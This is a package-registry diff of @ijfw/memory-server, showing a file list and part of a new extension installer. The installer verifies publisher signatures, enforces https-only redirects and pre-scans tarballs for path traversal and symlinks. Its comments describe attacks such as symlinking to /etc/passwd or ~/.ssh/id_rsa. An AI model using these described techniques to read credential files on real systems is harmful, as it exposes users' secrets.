@ijfw/memory-server 1.3.0 → 1.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +67 -0
- package/fixtures/team/book.json +47 -0
- package/fixtures/team/business.json +47 -0
- package/fixtures/team/content.json +47 -0
- package/fixtures/team/design.json +47 -0
- package/fixtures/team/mixed.json +59 -0
- package/fixtures/team/research.json +47 -0
- package/fixtures/team/software.json +47 -0
- package/package.json +1 -9
- package/src/.registry-meta-key.pem +3 -0
- package/src/active-extension-writer.js +142 -0
- package/src/blackboard.js +360 -0
- package/src/cli-run.js +91 -0
- package/src/codex-agents.js +177 -0
- package/src/compute/extract.js +3 -0
- package/src/compute/fts5.js +4 -4
- package/src/compute/graph-lock.js +0 -2
- package/src/compute/migrations/003-tier-semantic.js +3 -3
- package/src/compute/runner.js +44 -15
- package/src/compute/schema.sql +1 -1
- package/src/cross-orchestrator-cli.js +974 -13
- package/src/cross-orchestrator.js +9 -1
- package/src/dashboard-client.html +353 -1
- package/src/dashboard-server.js +318 -2
- package/src/design-intelligence.js +721 -0
- package/src/dispatch/colon-syntax.js +31 -3
- package/src/dispatch/domain-manifest.js +251 -0
- package/src/dispatch/extension.js +637 -0
- package/src/dispatch/override.js +221 -0
- package/src/dispatch-planner.js +1 -0
- package/src/dream/runner.mjs +3 -3
- package/src/extension-installer.js +1269 -0
- package/src/extension-manifest-schema.js +301 -0
- package/src/extension-permission-check.mjs +79 -0
- package/src/extension-registry.js +619 -0
- package/src/extension-signer.js +905 -0
- package/src/gate-result-formatter.js +95 -0
- package/src/gate-result-schema.js +274 -0
- package/src/gate-result.js +195 -0
- package/src/intent-router.js +2 -0
- package/src/lib/npm-view.js +1 -0
- package/src/memory/fts5.js +3 -3
- package/src/memory/migrations/002-tier-semantic.js +2 -2
- package/src/memory/staleness.js +1 -1
- package/src/memory/tier-promotion.js +6 -6
- package/src/memory/tokenize.js +1 -1
- package/src/memory-feedback.js +372 -0
- package/src/override-manifest-schema.js +146 -0
- package/src/override-resolver.js +699 -0
- package/src/override-use-registry.js +307 -0
- package/src/overrides/presets/academic.md +101 -0
- package/src/overrides/presets/book.md +87 -0
- package/src/overrides/presets/campaign.md +95 -0
- package/src/overrides/presets/screenplay.md +99 -0
- package/src/recovery/checkpoint.js +191 -0
- package/src/redactor.js +2 -0
- package/src/runtime-mediator.js +207 -0
- package/src/sandbox.js +17 -3
- package/src/server.js +94 -2
- package/src/swarm/dispatch-prompt.js +154 -0
- package/src/swarm/planner.js +399 -0
- package/src/swarm/review.js +136 -0
- package/src/swarm/worktree.js +239 -0
- package/src/team/generator.js +119 -0
- package/src/team/schemas.js +341 -0
- package/src/trident/dispatch.js +47 -0
- package/src/update-check.js +1 -1
- package/src/vectors.js +7 -8
|
@@ -0,0 +1,1269 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* extension-installer.js
|
|
3
|
+
*
|
|
4
|
+
* IJFW v1.4.0 / t10 — Extension installer with Trident install gate.
|
|
5
|
+
*
|
|
6
|
+
* Security model (v1.4.0):
|
|
7
|
+
* - SHA256 integrity hash detects tamper.
|
|
8
|
+
* - Ed25519 publisher signature (W7/B1) authenticates the publisher against
|
|
9
|
+
* the per-host trusted-publishers store (~/.ijfw/trusted-publishers.json).
|
|
10
|
+
* Unsigned manifests require opts.allowUnsigned; signed-but-untrusted
|
|
11
|
+
* manifests require opts.acceptUntrusted.
|
|
12
|
+
* - Install-time static analysis: classify() per file + isSafeVerifyCommand()
|
|
13
|
+
* per shell command.
|
|
14
|
+
* - Trident audit at install gates content (3-lens consensus).
|
|
15
|
+
* - Runtime sandbox mediation (W7/B2): tier-1 MCP wrap + tier-2 Claude Code
|
|
16
|
+
* hook enforce declared permissions when an extension is active. Activation
|
|
17
|
+
* is via `extension activate <name>` (W7.1/B2-H-01).
|
|
18
|
+
*/
|
|
19
|
+
|
|
20
|
+
import {
|
|
21
|
+
cp,
|
|
22
|
+
lstat,
|
|
23
|
+
mkdir,
|
|
24
|
+
mkdtemp,
|
|
25
|
+
readFile,
|
|
26
|
+
readdir,
|
|
27
|
+
rename,
|
|
28
|
+
rm,
|
|
29
|
+
stat,
|
|
30
|
+
writeFile,
|
|
31
|
+
} from 'node:fs/promises';
|
|
32
|
+
import { createWriteStream } from 'node:fs';
|
|
33
|
+
import { homedir, tmpdir } from 'node:os';
|
|
34
|
+
import { dirname, isAbsolute, join, resolve, sep } from 'node:path';
|
|
35
|
+
import { randomBytes } from 'node:crypto';
|
|
36
|
+
import { spawn } from 'node:child_process';
|
|
37
|
+
import { get as httpsGet } from 'node:https';
|
|
38
|
+
import { pipeline } from 'node:stream/promises';
|
|
39
|
+
import { createInterface } from 'node:readline';
|
|
40
|
+
|
|
41
|
+
import {
|
|
42
|
+
validateExtensionManifest,
|
|
43
|
+
} from './extension-manifest-schema.js';
|
|
44
|
+
import {
|
|
45
|
+
verifyIntegrity,
|
|
46
|
+
scanExtensionForSecrets,
|
|
47
|
+
scanInlineCommands,
|
|
48
|
+
validatePermissions,
|
|
49
|
+
verifyManifestSignature,
|
|
50
|
+
readTrustedPublishers,
|
|
51
|
+
} from './extension-signer.js';
|
|
52
|
+
import { runTrident } from './trident/dispatch.js';
|
|
53
|
+
import { emitGateResult } from './gate-result.js';
|
|
54
|
+
import {
|
|
55
|
+
deployExtensionToAgentsMd,
|
|
56
|
+
deployExtensionSkillsToPlatforms,
|
|
57
|
+
removeExtensionFromAgentsMd,
|
|
58
|
+
uninstallExtensionSkillsFromPlatforms,
|
|
59
|
+
} from '../../installer/src/install-helpers.js';
|
|
60
|
+
|
|
61
|
+
// --- constants -------------------------------------------------------------
|
|
62
|
+
|
|
63
|
+
const GIT_CLONE_TIMEOUT_MS = 30_000;
|
|
64
|
+
const HTTPS_REQUEST_TIMEOUT_MS = 30_000;
|
|
65
|
+
const REGISTRY_FILENAME = 'extension-registry.json';
|
|
66
|
+
|
|
67
|
+
// Maximum 3xx redirects to follow before giving up. A malicious mirror or a
|
|
68
|
+
// misconfigured server can otherwise loop indefinitely; without a cap both
|
|
69
|
+
// fetchJsonHttps and downloadHttps recurse without bound. 5 is the common
|
|
70
|
+
// browser default and is comfortably above any legitimate registry redirect
|
|
71
|
+
// chain (registry.npmjs.org typically lands in 0–1 hops).
|
|
72
|
+
const MAX_HTTPS_REDIRECTS = 5;
|
|
73
|
+
|
|
74
|
+
// Matches the schema's accepted shape for manifest.name. Kept local because
|
|
75
|
+
// extension-manifest-schema.js does not export the pattern. Stays in sync
|
|
76
|
+
// manually — the schema and this constant are co-located.
|
|
77
|
+
// eslint-disable-next-line security/detect-unsafe-regex -- anchored, bounded npm name shape; no nested ambiguous repetition
|
|
78
|
+
const EXTENSION_NAME_PATTERN = /^(@[a-z0-9-]+\/)?[a-z][a-z0-9-]*$/;
|
|
79
|
+
|
|
80
|
+
// Verdicts considered acceptable for a normal install (3/3 lenses).
|
|
81
|
+
const ACCEPTABLE_VERDICTS = new Set(['PASS', 'CONDITIONAL']);
|
|
82
|
+
|
|
83
|
+
// --- helpers: TTY confirmation ---------------------------------------------
|
|
84
|
+
|
|
85
|
+
/**
|
|
86
|
+
* Prompt the user to confirm an untrusted publisher by typing the last 8 chars
|
|
87
|
+
* of the keyId. Returns true on match, false on mismatch or EOF.
|
|
88
|
+
* Only called when process.stdin.isTTY === true.
|
|
89
|
+
*
|
|
90
|
+
* @param {string} keyId
|
|
91
|
+
* @returns {Promise<boolean>}
|
|
92
|
+
*/
|
|
93
|
+
export async function promptUntrustedConfirmation(keyId) {
|
|
94
|
+
const expected = keyId.slice(-8);
|
|
95
|
+
return new Promise((resolve) => {
|
|
96
|
+
const rl = createInterface({ input: process.stdin, output: process.stdout, terminal: true });
|
|
97
|
+
const prompt =
|
|
98
|
+
`⚠️ Extension is signed by publisher keyId ${keyId} but ${keyId} is not in your trusted publishers store.\n` +
|
|
99
|
+
` Type the LAST 8 CHARS of the keyId (lowercase hex) to confirm: `;
|
|
100
|
+
let answered = false;
|
|
101
|
+
rl.question(prompt, (line) => {
|
|
102
|
+
answered = true;
|
|
103
|
+
rl.close();
|
|
104
|
+
resolve(line.trim() === expected);
|
|
105
|
+
});
|
|
106
|
+
rl.once('close', () => {
|
|
107
|
+
if (!answered) resolve(false); // EOF / ctrl-D
|
|
108
|
+
});
|
|
109
|
+
});
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
// --- helpers: source resolution -------------------------------------------
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* Classify the install source.
|
|
116
|
+
* @param {string} source
|
|
117
|
+
* @returns {'npm'|'local'|'git'}
|
|
118
|
+
*/
|
|
119
|
+
function classifySource(source) {
|
|
120
|
+
if (typeof source !== 'string' || source.length === 0) {
|
|
121
|
+
throw new TypeError('installExtension: source must be a non-empty string');
|
|
122
|
+
}
|
|
123
|
+
if (/^https?:\/\//i.test(source) || /\.git$/i.test(source) ||
|
|
124
|
+
/^git[:@]/i.test(source) || /^ssh:\/\//i.test(source)) {
|
|
125
|
+
return 'git';
|
|
126
|
+
}
|
|
127
|
+
if (source.startsWith('./') || source.startsWith('../') ||
|
|
128
|
+
source.startsWith('/') || source.startsWith('~') ||
|
|
129
|
+
(isAbsolute(source))) {
|
|
130
|
+
return 'local';
|
|
131
|
+
}
|
|
132
|
+
// npm package names: @scope/name or bare-name. Reject anything else above.
|
|
133
|
+
return 'npm';
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
/**
|
|
137
|
+
* Resolve a `~`-prefixed path to absolute.
|
|
138
|
+
* @param {string} p
|
|
139
|
+
* @returns {string}
|
|
140
|
+
*/
|
|
141
|
+
function expandHome(p) {
|
|
142
|
+
if (typeof p !== 'string') return p;
|
|
143
|
+
if (p === '~') return homedir();
|
|
144
|
+
if (p.startsWith('~/') || p.startsWith('~\\')) {
|
|
145
|
+
return join(homedir(), p.slice(2));
|
|
146
|
+
}
|
|
147
|
+
return p;
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
/**
|
|
151
|
+
* Create a unique temp directory under os.tmpdir().
|
|
152
|
+
* @returns {Promise<string>}
|
|
153
|
+
*/
|
|
154
|
+
async function makeTempDir() {
|
|
155
|
+
return mkdtemp(join(tmpdir(), 'ijfw-ext-'));
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
// --- helpers: npm registry --------------------------------------------------
|
|
159
|
+
|
|
160
|
+
/**
|
|
161
|
+
* Resolve a 3xx Location header against the request URL. Rejects (throws)
|
|
162
|
+
* if the resulting URL is not https:// — protocol-downgrade-via-redirect is
|
|
163
|
+
* a classic exfil vector. Returns the absolute https URL string.
|
|
164
|
+
*
|
|
165
|
+
* @param {string} requestUrl
|
|
166
|
+
* @param {string} location
|
|
167
|
+
* @returns {string}
|
|
168
|
+
*/
|
|
169
|
+
function resolveHttpsRedirect(requestUrl, location) {
|
|
170
|
+
const next = new URL(location, requestUrl);
|
|
171
|
+
if (next.protocol !== 'https:') {
|
|
172
|
+
throw new Error(`redirect to non-https url refused: ${next.protocol}//${next.host}`);
|
|
173
|
+
}
|
|
174
|
+
return next.toString();
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
/**
|
|
178
|
+
* Fetch JSON from https with timeout. Follows up to MAX_HTTPS_REDIRECTS
|
|
179
|
+
* 3xx redirects (default 5); rejects on cycles, exceeding the cap, or any
|
|
180
|
+
* cross-protocol redirect (https only).
|
|
181
|
+
*
|
|
182
|
+
* @param {string} url
|
|
183
|
+
* @param {number} [redirectsRemaining]
|
|
184
|
+
* @returns {Promise<any>}
|
|
185
|
+
*/
|
|
186
|
+
function fetchJsonHttps(url, redirectsRemaining = MAX_HTTPS_REDIRECTS) {
|
|
187
|
+
return new Promise((resolveP, rejectP) => {
|
|
188
|
+
const req = httpsGet(url, { headers: { 'accept': 'application/json' } }, (res) => {
|
|
189
|
+
if (res.statusCode && (res.statusCode >= 300 && res.statusCode < 400) && res.headers.location) {
|
|
190
|
+
res.resume();
|
|
191
|
+
if (redirectsRemaining <= 0) {
|
|
192
|
+
rejectP(new Error(`too many redirects (>${MAX_HTTPS_REDIRECTS}) following ${url}`));
|
|
193
|
+
return;
|
|
194
|
+
}
|
|
195
|
+
let nextUrl;
|
|
196
|
+
try {
|
|
197
|
+
nextUrl = resolveHttpsRedirect(url, res.headers.location);
|
|
198
|
+
} catch (err) {
|
|
199
|
+
rejectP(err);
|
|
200
|
+
return;
|
|
201
|
+
}
|
|
202
|
+
fetchJsonHttps(nextUrl, redirectsRemaining - 1).then(resolveP, rejectP);
|
|
203
|
+
return;
|
|
204
|
+
}
|
|
205
|
+
if (!res.statusCode || res.statusCode < 200 || res.statusCode >= 300) {
|
|
206
|
+
res.resume();
|
|
207
|
+
rejectP(new Error(`https GET ${url} returned status ${res.statusCode}`));
|
|
208
|
+
return;
|
|
209
|
+
}
|
|
210
|
+
const chunks = [];
|
|
211
|
+
res.on('data', (c) => chunks.push(c));
|
|
212
|
+
res.on('end', () => {
|
|
213
|
+
try {
|
|
214
|
+
const body = Buffer.concat(chunks).toString('utf8');
|
|
215
|
+
resolveP(JSON.parse(body));
|
|
216
|
+
} catch (err) {
|
|
217
|
+
rejectP(err);
|
|
218
|
+
}
|
|
219
|
+
});
|
|
220
|
+
res.on('error', rejectP);
|
|
221
|
+
});
|
|
222
|
+
req.setTimeout(HTTPS_REQUEST_TIMEOUT_MS, () => {
|
|
223
|
+
req.destroy(new Error(`https GET ${url} timeout after ${HTTPS_REQUEST_TIMEOUT_MS}ms`));
|
|
224
|
+
});
|
|
225
|
+
req.on('error', rejectP);
|
|
226
|
+
});
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
/**
|
|
230
|
+
* Download a binary file from https to a local path, with timeout + redirects.
|
|
231
|
+
* Follows up to MAX_HTTPS_REDIRECTS 3xx redirects (default 5); rejects on
|
|
232
|
+
* cycles, exceeding the cap, or any cross-protocol redirect (https only).
|
|
233
|
+
*
|
|
234
|
+
* @param {string} url
|
|
235
|
+
* @param {string} destPath
|
|
236
|
+
* @param {number} [redirectsRemaining]
|
|
237
|
+
* @returns {Promise<void>}
|
|
238
|
+
*/
|
|
239
|
+
function downloadHttps(url, destPath, redirectsRemaining = MAX_HTTPS_REDIRECTS) {
|
|
240
|
+
return new Promise((resolveP, rejectP) => {
|
|
241
|
+
const req = httpsGet(url, (res) => {
|
|
242
|
+
if (res.statusCode && (res.statusCode >= 300 && res.statusCode < 400) && res.headers.location) {
|
|
243
|
+
res.resume();
|
|
244
|
+
if (redirectsRemaining <= 0) {
|
|
245
|
+
rejectP(new Error(`too many redirects (>${MAX_HTTPS_REDIRECTS}) downloading ${url}`));
|
|
246
|
+
return;
|
|
247
|
+
}
|
|
248
|
+
let nextUrl;
|
|
249
|
+
try {
|
|
250
|
+
nextUrl = resolveHttpsRedirect(url, res.headers.location);
|
|
251
|
+
} catch (err) {
|
|
252
|
+
rejectP(err);
|
|
253
|
+
return;
|
|
254
|
+
}
|
|
255
|
+
downloadHttps(nextUrl, destPath, redirectsRemaining - 1).then(resolveP, rejectP);
|
|
256
|
+
return;
|
|
257
|
+
}
|
|
258
|
+
if (!res.statusCode || res.statusCode < 200 || res.statusCode >= 300) {
|
|
259
|
+
res.resume();
|
|
260
|
+
rejectP(new Error(`download ${url} returned status ${res.statusCode}`));
|
|
261
|
+
return;
|
|
262
|
+
}
|
|
263
|
+
const out = createWriteStream(destPath);
|
|
264
|
+
pipeline(res, out).then(resolveP, rejectP);
|
|
265
|
+
});
|
|
266
|
+
req.setTimeout(HTTPS_REQUEST_TIMEOUT_MS, () => {
|
|
267
|
+
req.destroy(new Error(`download ${url} timeout after ${HTTPS_REQUEST_TIMEOUT_MS}ms`));
|
|
268
|
+
});
|
|
269
|
+
req.on('error', rejectP);
|
|
270
|
+
});
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
/**
|
|
274
|
+
* Encode an npm package name for the registry URL (keeps `@` and `/`).
|
|
275
|
+
* @param {string} name
|
|
276
|
+
* @returns {string}
|
|
277
|
+
*/
|
|
278
|
+
function encodeNpmName(name) {
|
|
279
|
+
// The npm registry accepts `@scope%2Fname` for scoped packages.
|
|
280
|
+
if (name.startsWith('@')) {
|
|
281
|
+
const slash = name.indexOf('/');
|
|
282
|
+
if (slash > 0) {
|
|
283
|
+
const scope = name.slice(0, slash);
|
|
284
|
+
const pkg = name.slice(slash + 1);
|
|
285
|
+
return `${encodeURIComponent(scope)}%2F${encodeURIComponent(pkg)}`;
|
|
286
|
+
}
|
|
287
|
+
}
|
|
288
|
+
return encodeURIComponent(name);
|
|
289
|
+
}
|
|
290
|
+
|
|
291
|
+
/**
|
|
292
|
+
* Spawn a child process with arg-list (NEVER shell-interpolated) and a timeout.
|
|
293
|
+
* Returns once the process exits or the timeout fires.
|
|
294
|
+
* @param {string} cmd
|
|
295
|
+
* @param {string[]} args
|
|
296
|
+
* @param {{cwd?: string, timeoutMs?: number, captureStdout?: boolean}} [opts]
|
|
297
|
+
* @returns {Promise<{stdout: string}>}
|
|
298
|
+
*/
|
|
299
|
+
function spawnChecked(cmd, args, opts = {}) {
|
|
300
|
+
return new Promise((resolveP, rejectP) => {
|
|
301
|
+
const child = spawn(cmd, args, {
|
|
302
|
+
cwd: opts.cwd,
|
|
303
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
304
|
+
shell: false,
|
|
305
|
+
});
|
|
306
|
+
let stderr = '';
|
|
307
|
+
let stdout = '';
|
|
308
|
+
child.stderr?.on('data', (b) => { stderr += b.toString('utf8'); });
|
|
309
|
+
child.stdout?.on('data', (b) => {
|
|
310
|
+
if (opts.captureStdout) stdout += b.toString('utf8');
|
|
311
|
+
// else drain only
|
|
312
|
+
});
|
|
313
|
+
let timedOut = false;
|
|
314
|
+
const timeoutMs = opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS;
|
|
315
|
+
const timer = setTimeout(() => {
|
|
316
|
+
timedOut = true;
|
|
317
|
+
child.kill('SIGKILL');
|
|
318
|
+
}, timeoutMs);
|
|
319
|
+
child.on('error', (err) => {
|
|
320
|
+
clearTimeout(timer);
|
|
321
|
+
rejectP(err);
|
|
322
|
+
});
|
|
323
|
+
child.on('close', (code) => {
|
|
324
|
+
clearTimeout(timer);
|
|
325
|
+
if (timedOut) {
|
|
326
|
+
rejectP(new Error(`${cmd} ${args.join(' ')} timed out after ${timeoutMs}ms`));
|
|
327
|
+
return;
|
|
328
|
+
}
|
|
329
|
+
if (code !== 0) {
|
|
330
|
+
rejectP(new Error(`${cmd} exited with code ${code}: ${stderr.trim().slice(0, 500)}`));
|
|
331
|
+
return;
|
|
332
|
+
}
|
|
333
|
+
resolveP({ stdout });
|
|
334
|
+
});
|
|
335
|
+
});
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
/**
|
|
339
|
+
* Pre-scan a tarball for tar-slip / symlink / hardlink members before
|
|
340
|
+
* extraction. Approach 1 from the audit spec: list contents with
|
|
341
|
+
* `tar -tvzf`, reject any member that
|
|
342
|
+
* - starts with `/` (absolute path)
|
|
343
|
+
* - contains a `..` segment (escapes extract dir on join)
|
|
344
|
+
* - is a symlink or hardlink (mode char `l` or `h` in the verbose listing)
|
|
345
|
+
*
|
|
346
|
+
* `tar -tvzf` output format starts with the file-mode field whose first
|
|
347
|
+
* char encodes the type: `-` file, `d` dir, `l` symlink, `h` hardlink.
|
|
348
|
+
* Filenames appear last on the line, with symlinks/hardlinks following the
|
|
349
|
+
* pattern `<name> -> <target>`.
|
|
350
|
+
*
|
|
351
|
+
* @param {string} tarballPath
|
|
352
|
+
* @returns {Promise<void>} resolves if clean, throws with reason if not
|
|
353
|
+
*/
|
|
354
|
+
async function preflightTarball(tarballPath) {
|
|
355
|
+
const { stdout } = await spawnChecked('tar', ['-tvzf', tarballPath], {
|
|
356
|
+
timeoutMs: GIT_CLONE_TIMEOUT_MS,
|
|
357
|
+
captureStdout: true,
|
|
358
|
+
});
|
|
359
|
+
// Independent name listing — `tar -tzf` prints one member name per line with
|
|
360
|
+
// no leading metadata. Used for path-traversal / absolute-path checks where
|
|
361
|
+
// robust field parsing across BSD vs GNU tar is otherwise brittle.
|
|
362
|
+
const { stdout: namesOut } = await spawnChecked('tar', ['-tzf', tarballPath], {
|
|
363
|
+
timeoutMs: GIT_CLONE_TIMEOUT_MS,
|
|
364
|
+
captureStdout: true,
|
|
365
|
+
});
|
|
366
|
+
const names = namesOut.split('\n').filter((l) => l.length > 0);
|
|
367
|
+
for (const name of names) {
|
|
368
|
+
if (name.startsWith('/')) {
|
|
369
|
+
throw new Error(`tar-slip: tarball contains absolute path member: ${name}`);
|
|
370
|
+
}
|
|
371
|
+
const segments = name.split(/[\\/]/);
|
|
372
|
+
if (segments.includes('..')) {
|
|
373
|
+
throw new Error(`tar-slip: tarball contains '..' segment in member: ${name}`);
|
|
374
|
+
}
|
|
375
|
+
}
|
|
376
|
+
// Verbose listing — used solely for type-char (symlink/hardlink) detection.
|
|
377
|
+
// The first character of the first whitespace-delimited field encodes type:
|
|
378
|
+
// `-` file, `d` dir, `l` symlink, `h` hardlink. Works the same on BSD + GNU.
|
|
379
|
+
const lines = stdout.split('\n').filter((l) => l.length > 0);
|
|
380
|
+
for (const line of lines) {
|
|
381
|
+
const modeMatch = line.match(/^(\S+)/);
|
|
382
|
+
if (!modeMatch) continue;
|
|
383
|
+
const typeChar = modeMatch[1][0];
|
|
384
|
+
if (typeChar === 'l' || typeChar === 'h') {
|
|
385
|
+
throw new Error(`tar-slip: tarball contains symlink/hardlink (refused): ${line.slice(0, 200)}`);
|
|
386
|
+
}
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
/**
|
|
391
|
+
* Fetch + extract an npm tarball into a fresh temp dir.
|
|
392
|
+
* @param {string} pkgName
|
|
393
|
+
* @returns {Promise<{dir: string, cleanup: () => Promise<void>}>}
|
|
394
|
+
*/
|
|
395
|
+
async function fetchNpmExtension(pkgName) {
|
|
396
|
+
const encoded = encodeNpmName(pkgName);
|
|
397
|
+
const meta = await fetchJsonHttps(`https://registry.npmjs.org/${encoded}`);
|
|
398
|
+
const latestTag = meta['dist-tags']?.latest;
|
|
399
|
+
if (!latestTag || !meta.versions || !meta.versions[latestTag]) {
|
|
400
|
+
throw new Error(`npm package ${pkgName}: no latest version in registry metadata`);
|
|
401
|
+
}
|
|
402
|
+
const tarballUrl = meta.versions[latestTag].dist?.tarball;
|
|
403
|
+
if (!tarballUrl || !/^https:\/\//i.test(tarballUrl)) {
|
|
404
|
+
throw new Error(`npm package ${pkgName}: tarball url missing or not https`);
|
|
405
|
+
}
|
|
406
|
+
const tmp = await makeTempDir();
|
|
407
|
+
const tarballPath = join(tmp, 'pkg.tgz');
|
|
408
|
+
try {
|
|
409
|
+
await downloadHttps(tarballUrl, tarballPath);
|
|
410
|
+
const extractDir = join(tmp, 'extract');
|
|
411
|
+
await mkdir(extractDir, { recursive: true });
|
|
412
|
+
// R10/S10: pre-scan the tarball for tar-slip + symlink/hardlink members
|
|
413
|
+
// BEFORE extraction. A malicious npm tarball could otherwise drop files
|
|
414
|
+
// outside `extractDir` (absolute paths, `..` segments) or smuggle in a
|
|
415
|
+
// symlink that downstream readFile() would follow to /etc/passwd.
|
|
416
|
+
await preflightTarball(tarballPath);
|
|
417
|
+
// `tar` accepts the tarball path via args — no shell interpolation.
|
|
418
|
+
await spawnChecked('tar', ['-xzf', tarballPath, '-C', extractDir], {
|
|
419
|
+
timeoutMs: GIT_CLONE_TIMEOUT_MS,
|
|
420
|
+
});
|
|
421
|
+
// npm tarballs always extract into a single top-level "package/" dir.
|
|
422
|
+
const entries = await readdir(extractDir, { withFileTypes: true });
|
|
423
|
+
const top = entries.find((e) => e.isDirectory());
|
|
424
|
+
if (!top) {
|
|
425
|
+
throw new Error(`npm package ${pkgName}: extracted tarball has no top-level dir`);
|
|
426
|
+
}
|
|
427
|
+
const dir = join(extractDir, top.name);
|
|
428
|
+
return {
|
|
429
|
+
dir,
|
|
430
|
+
cleanup: async () => { await rm(tmp, { recursive: true, force: true }); },
|
|
431
|
+
};
|
|
432
|
+
} catch (err) {
|
|
433
|
+
await rm(tmp, { recursive: true, force: true }).catch(() => {});
|
|
434
|
+
throw err;
|
|
435
|
+
}
|
|
436
|
+
}
|
|
437
|
+
|
|
438
|
+
/**
|
|
439
|
+
* Clone an https git URL shallowly into a fresh temp dir. Rejects non-https.
|
|
440
|
+
* @param {string} url
|
|
441
|
+
* @returns {Promise<{dir: string, cleanup: () => Promise<void>}>}
|
|
442
|
+
*/
|
|
443
|
+
async function fetchGitExtension(url) {
|
|
444
|
+
// R10: only https:// allowed. Explicitly reject other schemes here.
|
|
445
|
+
if (!/^https:\/\//i.test(url)) {
|
|
446
|
+
throw new Error(`git clone source must use https:// scheme (got ${url.split(':')[0]}://)`);
|
|
447
|
+
}
|
|
448
|
+
// Sanity: disallow URLs that smuggle a remote helper protocol.
|
|
449
|
+
if (/git:\/\/|ssh:\/\/|file:\/\//i.test(url)) {
|
|
450
|
+
throw new Error(`git clone source must use https:// scheme (rejected ${url})`);
|
|
451
|
+
}
|
|
452
|
+
const tmp = await makeTempDir();
|
|
453
|
+
const cloneDir = join(tmp, 'repo');
|
|
454
|
+
try {
|
|
455
|
+
await spawnChecked('git', ['clone', '--depth', '1', url, cloneDir], {
|
|
456
|
+
timeoutMs: GIT_CLONE_TIMEOUT_MS,
|
|
457
|
+
});
|
|
458
|
+
return {
|
|
459
|
+
dir: cloneDir,
|
|
460
|
+
cleanup: async () => { await rm(tmp, { recursive: true, force: true }); },
|
|
461
|
+
};
|
|
462
|
+
} catch (err) {
|
|
463
|
+
await rm(tmp, { recursive: true, force: true }).catch(() => {});
|
|
464
|
+
throw err;
|
|
465
|
+
}
|
|
466
|
+
}
|
|
467
|
+
|
|
468
|
+
/**
|
|
469
|
+
* Resolve a local path source (no copying — read in place).
|
|
470
|
+
* @param {string} path
|
|
471
|
+
* @returns {Promise<{dir: string, cleanup: () => Promise<void>}>}
|
|
472
|
+
*/
|
|
473
|
+
async function fetchLocalExtension(path) {
|
|
474
|
+
const expanded = expandHome(path);
|
|
475
|
+
const abs = resolve(expanded);
|
|
476
|
+
const st = await stat(abs).catch(() => null);
|
|
477
|
+
if (!st || !st.isDirectory()) {
|
|
478
|
+
throw new Error(`local extension source not found or not a directory: ${abs}`);
|
|
479
|
+
}
|
|
480
|
+
return { dir: abs, cleanup: async () => { /* nothing to clean */ } };
|
|
481
|
+
}
|
|
482
|
+
|
|
483
|
+
// --- helpers: manifest + skill bodies --------------------------------------
|
|
484
|
+
|
|
485
|
+
/**
|
|
486
|
+
* Read + parse the manifest.json from an extension dir.
|
|
487
|
+
* @param {string} extensionDir
|
|
488
|
+
* @returns {Promise<object>}
|
|
489
|
+
*/
|
|
490
|
+
async function readManifest(extensionDir) {
|
|
491
|
+
const path = join(extensionDir, 'manifest.json');
|
|
492
|
+
const raw = await readFile(path, 'utf8').catch(() => {
|
|
493
|
+
throw new Error(`manifest.json not found at ${path}`);
|
|
494
|
+
});
|
|
495
|
+
try {
|
|
496
|
+
return JSON.parse(raw);
|
|
497
|
+
} catch (err) {
|
|
498
|
+
throw new Error(`manifest.json is not valid JSON: ${err.message}`);
|
|
499
|
+
}
|
|
500
|
+
}
|
|
501
|
+
|
|
502
|
+
/**
|
|
503
|
+
* Read every declared skill body. Returns {name, file, body, absPath}[].
|
|
504
|
+
* Rejects symlinks and any path that resolves outside `extensionDir`.
|
|
505
|
+
*
|
|
506
|
+
* @param {object} manifest
|
|
507
|
+
* @param {string} extensionDir
|
|
508
|
+
* @returns {Promise<Array<{name: string, file: string, body: string, absPath: string}>>}
|
|
509
|
+
*/
|
|
510
|
+
async function readSkillBodies(manifest, extensionDir) {
|
|
511
|
+
const skills = Array.isArray(manifest.skills) ? manifest.skills : [];
|
|
512
|
+
const out = [];
|
|
513
|
+
const extensionRoot = resolve(extensionDir);
|
|
514
|
+
for (const s of skills) {
|
|
515
|
+
if (!s || typeof s.file !== 'string') continue;
|
|
516
|
+
// Guard against path traversal — the schema's FILE_PATH_PATTERN already
|
|
517
|
+
// restricts to safe chars + .md, but reject `..` segments belt-and-braces.
|
|
518
|
+
if (s.file.split(/[\\/]/).some((seg) => seg === '..')) {
|
|
519
|
+
throw new Error(`skill file path contains traversal segment: ${s.file}`);
|
|
520
|
+
}
|
|
521
|
+
const absPath = join(extensionDir, s.file);
|
|
522
|
+
// S11: lstat first so we detect symlinks BEFORE readFile() follows them.
|
|
523
|
+
// A malicious extension could declare a `.md` skill that's actually a
|
|
524
|
+
// symlink to /etc/passwd or ~/.ssh/id_rsa — readFile would silently
|
|
525
|
+
// follow the link and pipe local secrets into the audit brief.
|
|
526
|
+
const lst = await lstat(absPath).catch(() => null);
|
|
527
|
+
if (!lst) {
|
|
528
|
+
throw new Error(`skill file not readable: ${s.file}`);
|
|
529
|
+
}
|
|
530
|
+
if (lst.isSymbolicLink()) {
|
|
531
|
+
throw new Error(`skill file is a symlink (refused): ${s.file}`);
|
|
532
|
+
}
|
|
533
|
+
// Belt-and-braces: after resolve(), verify the canonical path still lives
|
|
534
|
+
// inside extensionRoot. Catches symlink-free traversal we missed above.
|
|
535
|
+
const resolvedAbs = resolve(absPath);
|
|
536
|
+
if (resolvedAbs !== extensionRoot &&
|
|
537
|
+
!resolvedAbs.startsWith(extensionRoot + sep)) {
|
|
538
|
+
throw new Error(`skill file resolves outside extension dir: ${s.file}`);
|
|
539
|
+
}
|
|
540
|
+
const body = await readFile(absPath, 'utf8').catch(() => {
|
|
541
|
+
